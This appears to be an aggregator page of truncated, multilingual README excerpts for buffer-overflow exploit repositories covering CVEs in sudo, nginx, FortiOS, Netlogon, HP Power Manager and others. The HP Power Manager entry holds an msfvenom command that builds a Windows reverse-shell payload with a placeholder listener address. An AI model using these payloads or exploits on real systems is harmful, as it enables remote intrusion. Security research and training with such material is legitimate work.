CVE-2002-0082

修复：https://www.exploit-db.com/exploits/764 ：Apache modssl 2.8.7 OpenSSL - 'OpenFuckV2.c' 远程缓冲区溢出 1 来源：https://blog.hypn.za.net/2017/08/27/compiling-exploit-764-c-in-2017/ 不要忘记： apt-get install libssl-dev 编译： gcc -o 764 764.c -lcrypto...

CVE-2019-11395

CVE-2019-11395 概述 本概念验证（PoC）展示了 MailCarrier 2.51 中的缓冲区溢出漏洞 ，允许远程攻击者通过长字符串执行任意代码。该漏洞可通过以下流程利用： SMTP RCPT TO POP3 USER POP3 LIST POP3 TOP POP3 RETR 本项目旨在提供一种学术方法 ，帮助理解缓冲区溢出是如何工作的。 ⚠️ 警告 在运行任何测试之前，切勿使用你的生产环境 进行初始实验。相反，应创建一个与生产环境类似的实验室环境 ，以免出现问题或意外后果 。 🔧 准备工作 1. 发现漏洞 使用模糊测试技术 确定使应用程序崩溃所需的大致字节数。 2...

CVE-2009-3999

CVE-2009-3999 HP Power Manager 4.2 Build 7 漏洞利用 灵感来源于 https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 步骤 1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5' x86/alphamixe...

cve-2022-42475-poc

CVE-2022-42475 PoC Fortinet SSL VPN Pre-Authentication Remote Code Execution Descripción CVE-2022-42475 es una vulnerabilidad de heap-based buffer overflow en el servicio SSL VPN de FortiOS que permite a atacantes no autenticados ejecutar código arbitrario de forma remota RCE mediante solicitudes...

setcred

FreeBSD setcred2 — शोध कलाकृतियाँ यह उपनिर्देशिका FreeBSD 14.x कर्नेल में setcred2 स्टैक बफर ओवरफ़्लो के लिए लिखित विवरण और कार्यशील एक्सप्लॉइट्स एकत्र करती है। भेद्यता स्वयं setcred.txt में पूरी तरह से प्रलेखित है। संक्षिप्त संस्करण: kernsetcredcopyinsuppgroups sizeofgroups का उपयोग करता है, जहा...

CVE-2021-3156-Baron-Samedit

CVE-2021-3156 - "Baron Samedit" 实验与利用 该仓库提供了一个自包含的教学环境，用于理解和利用 CVE-2021-3156 ，这是 sudo 中一个基于堆的缓冲区溢出漏洞，允许任何非特权用户在受影响系统（sudo 版本低于 1.9.5p2）上获取 root 权限。 本材料仅用于授权的安全培训与研究 。 在未经授权的系统上使用本材料进行非道德操作是违法的。 仓库内容 Dockerfile - 构建带 sudo 1.8.31（含漏洞）的 Ubuntu 20.04 容器 exploit.c - 主要利用载荷（针对 Ubuntu 20.04 适配）...

CVE-2025-5548

🚀 CVE-2025-5548 - FreeFloat FTP सर्वर 1.0 का शोषण पेशेवर भेद्यता विश्लेषण और पूर्ण दूरस्थ बफर ओवरफ्लो शोषण 🎯 परियोजना की मुख्य बातें CVE-2025-5548 का पूर्ण वास्तविक दुनिया का केस स्टडी FreeFloat FTP सर्वर 1.0 में NOOP कमांड के माध्यम से दूरस्थ स्टैक-आधारित बफर ओवरफ्लो मैन्युअल टूल इंस्टॉलेशन +...

CVE-2026-42945

CVE-2026-42945 Nginx Rift - PoC टूलकिट CVE-2026-42945 Nginx Rift के लिए एक व्यापक प्रूफ-ऑफ-कॉन्सेप्ट टूलकिट, जो Nginx के ngxhttprewritemodule में एक गंभीर हीप बफर ओवरफ्लो भेद्यता है। भेद्यता सारांश फ़ील्ड| विवरण ---|--- CVE ID| CVE-2026-42945 नाम| Nginx Rift प्रकार| हीप बफर ओवरफ्लो घटक|...

cve-2024-49113-ldap_nightmare_reproduction

CVE-2024-49113 — Pesadelo LDAP Execução Remota de Código no Cliente LDAP do Windows Estouro de Buffer Baseado em Heap...

CVE-2017-15220-vxsearch-rce

CVE-2017-15220 – Estouro de Buffer Remoto no VX Search Enterprise Vulnerabilidade de estouro de buffer remoto no VX Search Enterprise 10.1.12. Detalhes da Vulnerabilidade CVE: CVE-2017-15220 Produto: VX Search Enterprise Versão: 10.1.12 Impacto: Execução Remota de Código Descrição VX Search...

kartlanpwn

Kart"LAN"Pwn CVE-2024-45200 关于《马力欧卡丁车8 豪华版》的"KartLANPwn"基于栈的缓冲区溢出漏洞的信息与概念验证 作者：Chad Hyatt...

CVE-2017-8869

CVE-2017-8869 - MediaCoder 0.8.48.5888 - 本地缓冲区溢出（SEH） 利用程序重写并添加了反向shell选项...

CVE-2023-6931

CVE-2023-6931 CVE-2023-6931 के लिए कर्नेल पैनिक PoC विवरण CVE-2023-6931 perfevent में एक कमजोरी है जो readsize में एक पूर्णांक अतिप्रवाह के कारण हीप बफर अतिप्रवाह की ओर ले जाती है। प्रदर्शन घटना perf event क्या है? perfevents लिनक्स कर्नेल द्वारा प्रदान किया गया एक प्रदर्शन निगरानी और विश्लेषण...

cve-2006-6184

CVE-2006-6184 Este é um exploit autônomo baseado em Python para CVE-2006-6184. Este exploit aciona um estouro de buffer baseado em pilha no Allied Telesyn TFTP Server AT-TFTP 1.9, e possivelmente versões anteriores, permitindo que invasores remotos causem uma negação de serviço ou executem código...

CVE-2026-41089-Netlogon-RCE

🚨 CVE-2026-41089：Windows Netlogon 严重远程代码执行漏洞 在 Active Directory 域控制器上实现未认证远程代码执行 🧠 概念概述 我正在发布对 CVE-2026-41089 的技术剖析，这是一个深藏于 Windows Netlogon 服务内部的极其严重的漏洞。我的分析表明，该缺陷根源于一个严重的基于栈的缓冲区溢出 （CWE-121）。通过向存在漏洞的域控制器发送经特殊构造的畸形网络请求，未认证攻击者即可引发内存破坏，并在系统级无缝执行任意代码。 🎯 核心影响理念 “掌控 Netlogon 者，即掌控整个王国。” 由于该漏洞无需任何用户交互...

nginx-1.4.0

nginx-1.4.0 For the analysis of CVE-2013-2028 exploit: exp-nginx.rb binary for rop build: nginx...

nGixshell

nGixShell 是一个 nginx CVE 扫描器和 RCE 漏洞利用框架。它附带一个针对 CVE-2026-42945 的可工作概念验证（proof-of-concept）——ngxhttprewritemodule 中的一个严重堆缓冲区溢出——以及一个覆盖 53 个 nginx CVE 的扫描器，具备自动化 HTTP 探测、指纹识别、WAF 检测/绕过、Web 安全审计和报告生成功能。 零外部依赖。纯 Python 3 标准库。 快速开始 root@kitploit: Spin up the vulnerable lab docker compose -f...

uboatdemo

uboatdemo 针对 CVE-2016-3955 UBOAT 的演示服务器 当 USB/IP 客户端开始发送控制 URB 时，执行 Linux 堆缓冲区溢出。 构建 该服务器是一个标准的简单 Go 程序。假设您已按照官方说明设置并配置了 Go，则可以通过以下方式照常构建： root@kitploit: go get github.com/pqsec/uboatdemo/cmd/uboatsrv 编译后的二进制文件应位于您配置的 $GOPATH 的 bin 目录中。 其他信息 https://pqsec.org/uboat-CVE-2016-3955/...

CVE-2026-41089

CVE-2026-41089 — Exploit de Desbordamiento de Búfer en la Pila de Windows Netlogon CLDAP RCE CVE-ID: CVE-2026-41089 CVSS: 9.8 Crítico CWE: CWE-121 Desbordamiento de Búfer basado en la Pila Vector de ataque: UDP/389 CLDAP SearchRequest Impacto: Ejecución remota de código RCE / Denegación de servic...

CVE-2021-27965

CVE-2021-27965 Prova de conceito para CVE-2021-27965 Buffer Overflow baseado em pilha NOTA: Provavelmente não atualizarei mais isto ainda existe a chance de eu terminar. Atualmente tenho a capacidade de sobrescrever limpiamente o ponteiro de instrução, mas acredito que isso é suficiente para prov...